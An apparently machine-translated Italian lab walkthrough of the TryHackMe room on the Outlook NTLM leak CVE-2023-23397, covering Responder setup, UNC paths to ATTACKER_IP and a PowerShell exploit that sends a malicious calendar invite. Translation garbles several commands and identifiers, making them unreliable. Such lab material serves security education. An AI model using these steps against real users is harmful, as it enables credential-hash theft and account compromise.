Abbiamo trattato la recente vulnerabilità CVE-2023-23397 di Microsoft Outlook NTLM che, in caso di esito positivo, potrebbe portare alla perdita di hash NTLM. Abbiamo inoltre trattato uno scenario dimostrativo oltre alla mitigazione e al rilevamento. Questo faceva parte Perdita di TryHackMe Outlook NTLM.

Ottieni note OSCP

Martedì 14 marzo, Microsoft ha rilasciato 83 correzioni di sicurezza durante il Patch Tuesday, incluso CVE-2023-23397. Questa vulnerabilità critica colpisce tutte le versioni dell'app desktop Outlook su qualsiasi sistema Windows. L'app Web Outlook (OWA) e Microsoft 365 non sono vulnerabili poiché non supportano NTLM autenticazione.

A differenza della maggior parte degli exploit, questo è particolarmente pericoloso perché è un exploit a zero clic, il che significa che non è richiesta alcuna interazione da parte dell’utente per attivarlo. Una volta che un'e-mail infetta arriva nella posta in arrivo dell'utente, l'autore dell'attacco può ottenere hash delle credenziali Net-NTLMv2 sensibili. Una volta che gli autori malintenzionati ottengono questi hash, possono ottenere le credenziali di un utente, autenticarsi nel suo sistema e aumentare i privilegi.

Per sfruttare questa vulnerabilità, un utente malintenzionato deve creare un invito di calendario dannoso che includa un riferimento a un file audio che punta a un file in una condivisione di rete nel computer dell'utente malintenzionato. A un livello basso, un'e-mail di Outlook memorizza il riferimento al file audio in un parametro interno chiamato PidLidReminderFileParameter. Per garantire che l'audio che incorporiamo nelle nostre e-mail dannose abbia la precedenza sulle configurazioni predefinite dei promemoria della vittima, dovremo anche impostare un altro parametro chiamato PidLidReminderOverride A VERO.

Per impostare il PidLidReminderFileParameter per puntare a una condivisione di rete, l'utente malintenzionato può specificare a Convenzione di denominazione universale (UNC) percorso anziché un file locale. UNC viene utilizzato nei sistemi operativi Windows per trovare risorse di rete (file, stampanti, documenti condivisi). Questi percorsi sono costituiti da una doppia barra rovesciata, dall'indirizzo IP o dal nome del computer che ospita la risorsa, dal nome della condivisione e dal nome del file. Per esempio:

\\ATTACKER_IP\foo\bar.wav

Quando la vittima riceve l'e-mail dannosa, il percorso UNC la indirizza a quella PMI condividere, innescando la vulnerabilità. Ciò fa sì che il sistema avvii un processo di autenticazione NTLM contro la macchina dell'aggressore, divulgando un hash Net-NTLMv2 che l'aggressore potrà successivamente tentare di violare.

Se per qualche motivo il PMI non è una valida alternativa da utilizzare, le versioni non server di Windows accetteranno l'utilizzo di percorsi UNC che puntano alle porte 80 o 443 e utilizzeranno HTTP per recuperare il file da un server Web abilitato per WebDAV. La sintassi di tale percorso UNC è la seguente:

\\ATTACKER_IP@80\foo\bar.wav

\\ATTACKER_IP@443\foo\bar.wav

Ciò può essere utile per aggirare le restrizioni del firewall che impediscono le connessioni in uscita alla porta 445 (PMI).

Configurazione del risponditore

Poiché prevediamo che la vittima attivi un tentativo di autenticazione contro l'aggressore sulla porta 445, configureremo Responder per gestire il processo di autenticazione e acquisire l'hash NetNTLM per noi. Se non hai familiarità con Responder, emulerà semplicemente un file PMI server e catturare qualsiasi tentativo di autenticazione contro di esso.

Per avviare Responder per ascoltare i tentativi di autenticazione nel tuo ens5 interfaccia, puoi semplicemente eseguire il seguente comando nel tuo AttackBox:

AttackBox
root@attackbox$ risponditore -I ens5

Ora siamo pronti per attivare un tentativo di autenticazione tramite la vulnerabilità di Outlook.

Tentativo di creare manualmente un appuntamento dannoso

Come primo tentativo, potremmo creare manualmente un appuntamento e modificare il percorso del file audio del promemoria in modo che punti a una cartella condivisa. Per creare un appuntamento dovrai prima cliccare sul calendario e poi sul pulsante Nuovo appuntamento presente sulla barra delle applicazioni.

Creeremo un appuntamento che includa un promemoria impostato in 0 minuti in modo che si attivi subito dopo che la vittima lo riceve. Faremo anche clic sull'opzione Suono per configurare il file audio del promemoria

Possiamo provare a impostare il percorso del file audio su un percorso UNC che punta al nostro AttackBox e fare clic sul pulsante OK

Tuttavia, Outlook ignorerà silenziosamente il percorso UNC e tornerà a utilizzare il file WAV predefinito, cosa che può essere confermata tornando alla finestra di dialogo Suono

Poiché Outlook non si aspetta che gli utenti inseriscano qui un percorso UNC, probabilmente scarta il nostro tentativo come output non valido. Ma non tutte le speranze sono perdute!

OutlookSpia in soccorso

Anche se Outlook non riesce a impostare il file audio del promemoria su un percorso UNC, possiamo utilizzare il plugin OutlookSpy per raggiungere questo obiettivo. Questo plugin ti consentirà di accedere direttamente a tutti i parametri interni di Outlook, incluso il file audio del promemoria.

Puoi trovare il programma di installazione di OutlookSpy sul desktop del tuo computer. Sarà necessario installarlo manualmente prima di procedere. Assicurati di chiudere Outlook prima di eseguire il programma di installazione.

Per visualizzare il nostro appuntamento corrente da OutlookSpy, fare clic su OutlookSpia scheda e poi il Elemento corrente pulsante nella barra delle applicazioni:

Nota: assicurati di fare clic sul pulsante Elemento corrente dall'interno dell'appuntamento, altrimenti potresti modificare diversi componenti di Outlook.

Da questa finestra è possibile visualizzare i parametri associati al promemoria dell'appuntamento. Vogliamo impostare il PromemoriaFile audio al percorso UNC che punta al nostro AttackBox e imposta entrambi i file PromemoriaOverrideDefault E PromemoriaRiproduciSound A VERO. Solo per riferimento, ecco cosa fa ciascun parametro:

  • PromemoriaRiproduciaudio: valore booleano che indica se verrà riprodotto un suono con il promemoria.
  • PromemoriaOverrideDefault: valore booleano che indica il client Outlook ricevente a cui riprodurre il suono indicato PromemoriaFile audio, invece di quello predefinito.
  • PromemoriaFile audio: stringa con il percorso del file audio da utilizzare. Per il nostro exploit, questo indicherà una cartella condivisa fasulla nel nostro AttackBox.

Possiamo utilizzare la scheda script e lo script seguente per modificare i parametri sui valori richiesti

Assicurati di fare clic su Correre pulsante per applicare le modifiche. Puoi tornare al Proprietà scheda per verificare che i valori siano stati modificati correttamente. Infine, salva l'appuntamento per aggiungerlo al tuo calendario, assicurandoti che il promemoria sia impostato su 0 minuti e che l'appuntamento corrisponda all'ora e alla data attuali, poiché vogliamo che si attivi immediatamente

Se tutto è andato come previsto, dovresti immediatamente vedere apparire un promemoria

E dovresti ricevere il tentativo di autenticazione nella console Responder sul tuo AttackBox

Sfruttamento

Riassumendo i passaggi necessari per sfruttare la vulnerabilità, un utente malintenzionato dovrebbe:

  1. Crea una riunione/appuntamento dannoso con un suono di promemoria personalizzato che punta a un percorso UNC sul computer dell'aggressore.
  2. Invia l'invito alla vittima via email.
  3. Attendi il promemoria per attivare una connessione contro la macchina dell'aggressore.
  4. Cattura l'hash Net-NTLMv2, utilizza l'inoltro di autenticazione o trai profitto in qualsiasi altro modo.

I passaggi 3 e 4 sono già trattati per noi da Risponditore, ma realizzare manualmente l'appuntamento dannoso è un po' noioso. Fortunatamente, abbiamo a disposizione un paio di exploit per creare e inviare un appuntamento dannoso.

In questa attività esamineremo l'exploit pubblicato da Oddvar Moe, che è probabilmente il più semplice da comprendere e utilizzare. Questo exploit Powershell sfrutta gli oggetti COM di Outlook per creare facilmente e-mail e appuntamenti. Contiene un paio di funzioni che possiamo usare:

  • Salva-calendarioNTLMLeak: Questa funzione crea un appuntamento dannoso e lo salva nel tuo calendario. Utile a scopo di test.
  • Invia calendarioNTLMLeak: Questa funzione crea un appuntamento dannoso e lo invia via email alla vittima. L'invito via email verrà inviato dall'account predefinito corrente di Outlook.

Analizzare il codice dell'exploit

Entrambi creeranno un appuntamento in modo simile, quindi spiegheremo il Salva-calendarioNTLMLeak soltanto.

Innanzitutto, creeremo un'istanza di un oggetto "Outlook.Application" e creeremo un appuntamento.

$Prospettiva = Nuovo oggetto -comOggetto Outlook.Applicazione
$nuovacal = $outlook.Crea oggetto('olAppuntamentoArticolo')

Verranno impostati i consueti parametri di un appuntamento. Questi includono i destinatari, l'oggetto della riunione, il luogo, il corpo e le date di inizio e fine. L'exploit imposta il giorno di inizio sull'ora corrente in modo che il promemoria venga attivato immediatamente:

$nuovacal.Destinatari.aggiungere($recipiente)
$nuovacal.Stato riunione = [Microsoft.Office.Interop.Outlook.OlMeetingStatus]::olRiunione
$nuovacal.Oggetto = $oggetto della riunione
$nuovacal.Posizione = "Virtuale"
$nuovacal.Corpo = $organo della riunione
$nuovacal.Inizio = prendi appuntamento
$nuovacal.FINE = (prendi appuntamento).AggiungiOre(2)

I seguenti parametri aggiuntivi verranno configurati per indirizzare il file audio del promemoria al server dell'aggressore, come spiegato in precedenza:

$nuovacal.PromemoriaFileSuono = $percorsofileremoto
$nuovacal.ReminderOverrideDefault = 1
$nuovacal.Set promemoria = 1
$nuovacal.PromemoriaRiproducisuono = 1

Infine l’appuntamento verrà inviato al destinatario tramite email:

$nuovacal.Inviare()

Utilizzando l'exploit

Puoi importare le funzioni dell'exploit con il cmdlet Import-Module. Successivamente, entrambe le funzioni saranno disponibili nel tuo attuale Powershell. Per inviare un'e-mail con un appuntamento dannoso è sufficiente eseguire il comando seguente:

PowerShell
PS C:\> cd C:\Users\Administrator\Desktop\ PS C:\Users\Administrator\Desktop\> Import-Module .\CVE-2023-23397.ps1 PS C:\Users\Administrator\Desktop\> Invia -CalendarNTLMLeak -recipient "test@thm.loc" -remotefilepath "\\ATTACKER_IP\foo\bar.wav" -meetingsubject "THM Meeting" -meetingbody "Questo è solo un normale invito a una riunione :)"

Assicurati di sostituire ATTACKER_IP con l'indirizzo IP del tuo AttackBox nel file -percorsofileremoto parametro. Tieni presente che in questo caso stai utilizzando l'exploit per inviarti un'e-mail, poiché abbiamo un unico account nella macchina, ma normalmente prenderesti di mira altri indirizzi e-mail.

Poiché l'exploit utilizza l'istanza corrente di Outlook per inviare l'e-mail, probabilmente riceverai un paio di avvisi che ti chiedono di concedere l'autorizzazione allo script per inviare e-mail per tuo conto. Assicurati di premere Consenti tutte le volte necessarie. Anche selezionare la casella di controllo "Consenti accesso per 10 minuti" dovrebbe aiutare ad accelerare questo processo

Videoprocedura dettagliata

Circa l'autore

Creo note sulla sicurezza informatica, note di marketing digitale e corsi online. Fornisco anche consulenza di marketing digitale, inclusi ma non limitati a SEO, annunci Google e Meta e amministrazione CRM.

Visualizza articoli